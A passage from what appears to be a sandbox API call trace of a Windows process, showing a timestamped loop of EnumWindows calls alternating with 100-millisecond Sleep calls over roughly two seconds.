(lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.288] Sleep (dwMilliseconds=0x64) [0167.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.289] Sleep (dwMilliseconds=0x64) [0167.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.291] Sleep (dwMilliseconds=0x64) [0167.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.293] Sleep (dwMilliseconds=0x64) [0167.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.296] Sleep (dwMilliseconds=0x64) [0167.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.299] Sleep (dwMilliseconds=0x64) [0167.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.303] Sleep (dwMilliseconds=0x64) [0167.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.304] Sleep (dwMilliseconds=0x64) [0167.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.397] Sleep (dwMilliseconds=0x64) [0167.403] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.403] Sleep (dwMilliseconds=0x64) [0167.405] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.406] Sleep (dwMilliseconds=0x64) [0167.407] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.407] Sleep (dwMilliseconds=0x64) [0167.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.409] Sleep (dwMilliseconds=0x64) [0167.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.411] Sleep (dwMilliseconds=0x64) [0167.412] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.412] Sleep (dwMilliseconds=0x64) [0167.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.414] Sleep (dwMilliseconds=0x64) [0167.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.416] Sleep (dwMilliseconds=0x64) [0167.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.418] Sleep (dwMilliseconds=0x64) [0167.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.421] Sleep (dwMilliseconds=0x64) [0167.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.422] Sleep (dwMilliseconds=0x64) [0167.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.424] Sleep (dwMilliseconds=0x64) [0167.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.426] Sleep (dwMilliseconds=0x64) [0167.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.428] Sleep (dwMilliseconds=0x64) [0167.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.430] Sleep (dwMilliseconds=0x64) [0167.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.433] Sleep (dwMilliseconds=0x64) [0167.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.488] Sleep (dwMilliseconds=0x64) [0167.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.523] Sleep (dwMilliseconds=0x64) [0167.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.528] Sleep (dwMilliseconds=0x64) [0167.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.532] Sleep (dwMilliseconds=0x64) [0167.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.536] Sleep (dwMilliseconds=0x64) [0167.540] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.541] Sleep (dwMilliseconds=0x64) [0167.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.544] Sleep (dwMilliseconds=0x64) [0167.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.546] Sleep (dwMilliseconds=0x64) [0167.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.551] Sleep (dwMilliseconds=0x64) [0167.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.651] Sleep (dwMilliseconds=0x64) [0167.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.700] Sleep (dwMilliseconds=0x64) [0167.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.702] Sleep (dwMilliseconds=0x64) [0167.703] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.704] Sleep (dwMilliseconds=0x64) [0167.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.706] Sleep (dwMilliseconds=0x64) [0167.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.708] Sleep (dwMilliseconds=0x64) [0167.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.711] Sleep (dwMilliseconds=0x64) [0167.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.714] Sleep (dwMilliseconds=0x64) [0167.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.716] Sleep (dwMilliseconds=0x64) [0167.717] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.718] Sleep (dwMilliseconds=0x64) [0167.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.783] Sleep (dwMilliseconds=0x64) [0167.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.821] Sleep (dwMilliseconds=0x64) [0168.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.044] Sleep (dwMilliseconds=0x64) [0168.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.192] Sleep (dwMilliseconds=0x64) [0168.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.213] Sleep (dwMilliseconds=0x64) [0168.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.318] Sleep (dwMilliseconds=0x64) [0168.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.320] Sleep (dwMilliseconds=0x64) [0168.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.333] Sleep (dwMilliseconds=0x64) [0168.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.335] Sleep (dwMilliseconds=0x64) [0168.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.337] Sleep (dwMilliseconds=0x64) [0168.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.339] Sleep (dwMilliseconds=0x64) [0168.341] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.341] Sleep (dwMilliseconds=0x64) [0168.343] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.343] Sleep (dwMilliseconds=0x64) [0168.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.345] Sleep (dwMilliseconds=0x64) [0168.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.347] Sleep (dwMilliseconds=0x64) [0168.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.356] Sleep (dwMilliseconds=0x64) [0168.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.443] Sleep (dwMilliseconds=0x64) [0168.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.458] Sleep (dwMilliseconds=0x64) [0168.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.460] Sleep (dwMilliseconds=0x64) [0168.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.462] Sleep (dwMilliseconds=0x64) [0168.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.464] Sleep (dwMilliseconds=0x64) [0168.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.465] Sleep (dwMilliseconds=0x64) [0168.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.469] Sleep (dwMilliseconds=0x64) [0168.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.470] Sleep (dwMilliseconds=0x64) [0168.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.472] Sleep (dwMilliseconds=0x64) [0168.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.473] Sleep (dwMilliseconds=0x64) [0168.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.475] Sleep (dwMilliseconds=0x64) [0168.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.477] Sleep (dwMilliseconds=0x64) [0168.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.479] Sleep (dwMilliseconds=0x64) [0168.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.481] Sleep (dwMilliseconds=0x64) [0168.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.483] Sleep (dwMilliseconds=0x64) [0168.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.484] Sleep (dwMilliseconds=0x64) [0168.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.486] Sleep (dwMilliseconds=0x64) [0168.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.541] Sleep (dwMilliseconds=0x64) [0168.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.585] Sleep (dwMilliseconds=0x64) [0168.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.587] Sleep (dwMilliseconds=0x64) [0168.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.589] Sleep (dwMilliseconds=0x64) [0168.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.591] Sleep (dwMilliseconds=0x64) [0168.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.593] Sleep (dwMilliseconds=0x64) [0168.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.596] Sleep (dwMilliseconds=0x64) [0168.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.597] Sleep (dwMilliseconds=0x64) [0168.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.599] Sleep (dwMilliseconds=0x64) [0168.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.601] Sleep (dwMilliseconds=0x64) [0168.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.603] Sleep (dwMilliseconds=0x64) [0168.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.605] Sleep (dwMilliseconds=0x64) [0168.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.609] Sleep (dwMilliseconds=0x64) [0168.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.611] Sleep (dwMilliseconds=0x64) [0168.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.613] Sleep (dwMilliseconds=0x64) [0168.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.616] Sleep (dwMilliseconds=0x64) [0168.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.617] Sleep (dwMilliseconds=0x64) [0168.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.619] Sleep (dwMilliseconds=0x64) [0168.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.621] Sleep (dwMilliseconds=0x64) [0168.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.645] Sleep (dwMilliseconds=0x64) [0168.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.707] Sleep (dwMilliseconds=0x64) [0168.709] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.710] Sleep (dwMilliseconds=0x64) [0168.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.712] Sleep (dwMilliseconds=0x64) [0168.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.714] Sleep (dwMilliseconds=0x64) [0168.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.716] Sleep (dwMilliseconds=0x64) [0168.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.718] Sleep (dwMilliseconds=0x64) [0168.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.720] Sleep (dwMilliseconds=0x64) [0168.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.722] Sleep (dwMilliseconds=0x64) [0168.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.724] Sleep (dwMilliseconds=0x64) [0168.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.726] Sleep (dwMilliseconds=0x64) [0168.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.728] Sleep (dwMilliseconds=0x64) [0168.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.730] Sleep (dwMilliseconds=0x64) [0168.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.732] Sleep (dwMilliseconds=0x64) [0168.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.734] Sleep (dwMilliseconds=0x64) [0168.735] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.736] Sleep (dwMilliseconds=0x64) [0168.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.755] Sleep (dwMilliseconds=0x64) [0168.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.889] Sleep (dwMilliseconds=0x64) [0168.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.891] Sleep (dwMilliseconds=0x64) [0168.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.893] Sleep (dwMilliseconds=0x64) [0168.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.895] Sleep (dwMilliseconds=0x64) [0168.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.897] Sleep (dwMilliseconds=0x64) [0168.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.899] Sleep (dwMilliseconds=0x64) [0168.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.902] Sleep (dwMilliseconds=0x64) [0168.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.904] Sleep (dwMilliseconds=0x64) [0168.905] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.905] Sleep (dwMilliseconds=0x64) [0168.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.907] Sleep (dwMilliseconds=0x64) [0168.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.908] Sleep (dwMilliseconds=0x64) [0168.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.910] Sleep (dwMilliseconds=0x64) [0168.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.912] Sleep (dwMilliseconds=0x64) [0168.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.914] Sleep (dwMilliseconds=0x64) [0168.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.916] Sleep (dwMilliseconds=0x64) [0168.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0168.917] Sleep (dwMilliseconds=0x64) [0169.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.044] Sleep (dwMilliseconds=0x64) [0169.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.048] Sleep (dwMilliseconds=0x64) [0169.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.050] Sleep (dwMilliseconds=0x64) [0169.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.052] Sleep (dwMilliseconds=0x64) [0169.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.054] Sleep (dwMilliseconds=0x64) [0169.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.056] Sleep (dwMilliseconds=0x64) [0169.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.058] Sleep (dwMilliseconds=0x64) [0169.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.060] Sleep (dwMilliseconds=0x64) [0169.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.062] Sleep (dwMilliseconds=0x64) [0169.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.064] Sleep (dwMilliseconds=0x64) [0169.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.067] Sleep (dwMilliseconds=0x64) [0169.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.069] Sleep (dwMilliseconds=0x64) [0169.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.172] Sleep (dwMilliseconds=0x64) [0169.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.184] Sleep (dwMilliseconds=0x64) [0169.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.186] Sleep (dwMilliseconds=0x64) [0169.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.188] Sleep (dwMilliseconds=0x64) [0169.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.190] Sleep (dwMilliseconds=0x64) [0169.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.192] Sleep (dwMilliseconds=0x64) [0169.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.194] Sleep (dwMilliseconds=0x64) [0169.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.196] Sleep (dwMilliseconds=0x64) [0169.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.198] Sleep (dwMilliseconds=0x64) [0169.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.200] Sleep (dwMilliseconds=0x64) [0169.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.202] Sleep (dwMilliseconds=0x64) [0169.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.204] Sleep (dwMilliseconds=0x64) [0169.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.206] Sleep (dwMilliseconds=0x64) [0169.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.207] Sleep (dwMilliseconds=0x64) [0169.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.209] Sleep (dwMilliseconds=0x64) [0169.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.211] Sleep (dwMilliseconds=0x64) [0169.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.213] Sleep (dwMilliseconds=0x64) [0169.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.272] Sleep (dwMilliseconds=0x64) [0169.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.307] Sleep (dwMilliseconds=0x64) [0169.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.309] Sleep (dwMilliseconds=0x64) [0169.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.311] Sleep (dwMilliseconds=0x64) [0169.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.313] Sleep (dwMilliseconds=0x64) [0169.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.315] Sleep (dwMilliseconds=0x64) [0169.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.316] Sleep (dwMilliseconds=0x64) [0169.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.318] Sleep (dwMilliseconds=0x64) [0169.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.320] Sleep (dwMilliseconds=0x64) [0169.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.321] Sleep (dwMilliseconds=0x64) [0169.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.330] Sleep (dwMilliseconds=0x64) [0169.332] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.333] Sleep (dwMilliseconds=0x64) [0169.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.335] Sleep (dwMilliseconds=0x64) [0169.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.337] Sleep (dwMilliseconds=0x64) [0169.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.373] Sleep (dwMilliseconds=0x64) [0169.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.434] Sleep (dwMilliseconds=0x64) [0169.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.435] Sleep (dwMilliseconds=0x64) [0169.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.438] Sleep (dwMilliseconds=0x64) [0169.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.440] Sleep (dwMilliseconds=0x64) [0169.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.442] Sleep (dwMilliseconds=0x64) [0169.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.444] Sleep (dwMilliseconds=0x64) [0169.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.446] Sleep (dwMilliseconds=0x64) [0169.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.448] Sleep (dwMilliseconds=0x64) [0169.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.451] Sleep (dwMilliseconds=0x64) [0169.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.452] Sleep (dwMilliseconds=0x64) [0169.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.455] Sleep (dwMilliseconds=0x64) [0169.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.457] Sleep (dwMilliseconds=0x64) [0169.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.459] Sleep (dwMilliseconds=0x64) [0169.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.461] Sleep (dwMilliseconds=0x64) [0169.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.463] Sleep (dwMilliseconds=0x64) [0169.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.465] Sleep (dwMilliseconds=0x64) [0169.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.467] Sleep (dwMilliseconds=0x64) [0169.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.469] Sleep (dwMilliseconds=0x64) [0169.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.471] Sleep (dwMilliseconds=0x64) [0169.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.472] Sleep (dwMilliseconds=0x64) [0169.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.474] Sleep (dwMilliseconds=0x64) [0169.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.475] Sleep (dwMilliseconds=0x64) [0169.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.477] Sleep (dwMilliseconds=0x64) [0169.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.480] Sleep (dwMilliseconds=0x64) [0169.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.482] Sleep (dwMilliseconds=0x64) [0169.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.484] Sleep (dwMilliseconds=0x64) [0169.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.486] Sleep (dwMilliseconds=0x64) [0169.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.487] Sleep (dwMilliseconds=0x64) [0169.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.490] Sleep (dwMilliseconds=0x64) [0169.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.492] Sleep (dwMilliseconds=0x64) [0169.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.493] Sleep (dwMilliseconds=0x64) [0169.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.496] Sleep (dwMilliseconds=0x64) [0169.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.498] Sleep (dwMilliseconds=0x64) [0169.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.500] Sleep (dwMilliseconds=0x64) [0169.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.502] Sleep (dwMilliseconds=0x64) [0169.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.506] Sleep (dwMilliseconds=0x64) [0169.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.507] Sleep (dwMilliseconds=0x64) [0169.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.509] Sleep (dwMilliseconds=0x64) [0169.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.510] Sleep (dwMilliseconds=0x64) [0169.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.512] Sleep (dwMilliseconds=0x64) [0169.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.514] Sleep (dwMilliseconds=0x64) [0169.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.516] Sleep (dwMilliseconds=0x64) [0169.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.518] Sleep (dwMilliseconds=0x64) [0169.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.520] Sleep (dwMilliseconds=0x64) [0169.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.522] Sleep (dwMilliseconds=0x64) [0169.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.524] Sleep (dwMilliseconds=0x64) [0169.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.526] Sleep (dwMilliseconds=0x64) [0169.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.528] Sleep (dwMilliseconds=0x64) [0169.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.531] Sleep (dwMilliseconds=0x64) [0169.540] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.540] Sleep (dwMilliseconds=0x64) [0169.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.541] Sleep (dwMilliseconds=0x64) [0169.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.543] Sleep (dwMilliseconds=0x64) [0169.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.546] Sleep (dwMilliseconds=0x64) [0169.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.548] Sleep (dwMilliseconds=0x64) [0169.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.550] Sleep (dwMilliseconds=0x64) [0169.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.551] Sleep (dwMilliseconds=0x64) [0169.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.553] Sleep (dwMilliseconds=0x64) [0169.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.555] Sleep (dwMilliseconds=0x64) [0169.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.558] Sleep (dwMilliseconds=0x64) [0169.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.560] Sleep (dwMilliseconds=0x64) [0169.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.561] Sleep (dwMilliseconds=0x64) [0169.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.563] Sleep (dwMilliseconds=0x64) [0169.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.565] Sleep (dwMilliseconds=0x64) [0169.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.567] Sleep (dwMilliseconds=0x64) [0169.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.569] Sleep (dwMilliseconds=0x64) [0169.570] EnumWindows 